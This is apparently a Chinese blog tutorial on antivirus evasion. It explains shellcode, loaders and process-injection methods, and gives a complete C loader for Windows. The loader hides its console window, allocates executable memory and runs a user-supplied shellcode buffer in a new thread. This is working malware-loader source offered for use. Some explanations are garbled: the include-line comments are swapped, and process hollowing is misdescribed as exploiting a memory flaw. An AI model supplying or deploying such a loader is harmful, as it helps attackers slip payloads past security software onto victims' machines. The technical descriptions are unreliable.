免杀0到1之ShellCode与加载器
ShellCode
本质:一段可以自主运行的代码。
介绍:
- ShellCode没有任何文件结构,不依赖任何编译环境,无法像exe一样双击运行。
- 需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。
加载器
介绍:一种将 shellcode 加载到目标进程内存中并执行的程序。
- 它可以是独立的程序,也可以作为恶意软件的一部分。
两者之间的关系:
-
加载器是 shellcode 的载体: 加载器负责将 shellcode 加载到内存中并执行。
-
shellcode 是加载器的有效载荷: shellcode 是加载器要执行的代码,它实现了恶意行为。
-
shellcode代码(恶意程序执行代码) + 加载代码(加载代码执行的代码)
二者相加 ---> 编译后 ---> exe文件
加载器的作用:
- 寻找目标进程: 加载器首先要找到一个合适的目标进程来加载 shellcode。
- 注入 shellcode: 加载器需要将 shellcode 注入到目标进程的内存空间中。
- 执行 shellcode: 加载器需要调用合适的 API 函数来执行 shellcode。
加载器的类型:
- 直接注入: 通过创建远程线程来执行 shellcode,例如使用 CreateRemoteThread 函数。
- DLL 注入: 将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
- 进程替换: 替换目标进程的执行代码,使目标进程运行 shellcode。
常见的加载器技术:
- 进程空洞攻击: 利用目标进程的内存漏洞,将 shellcode 注入到目标进程的内存空间。
- 反射式 DLL 注入: 利用反射机制,将 shellcode 嵌入 DLL 文件,然后加载到目标进程中。
- ROP 攻击: 利用目标程序的函数调用链,执行 shellcode。
C语言加载器
#include <stdio.h> // Windows API 和 一些常量
#include <windows.h> //标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口
unsigned char buf[] = "填自己的shellcode";
int main() {
//1.申请内存
LPVOID address = VirtualAlloc(NULL, sizeof(buf), 0x1000 | 0x2000, 0x40);
//2.复制shellcode到创建的内存中
memcpy(address, buf, sizeof(buf));
//3.创建线程运行shellcode
LPTHREAD_START_ROUTINE xc = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)address,
NULL,
NULL,
NULL
);
//等待线程运行结束
WaitForSingleObject(xc, -1);
//关闭线程
CloseHandle(xc);
return 0;
}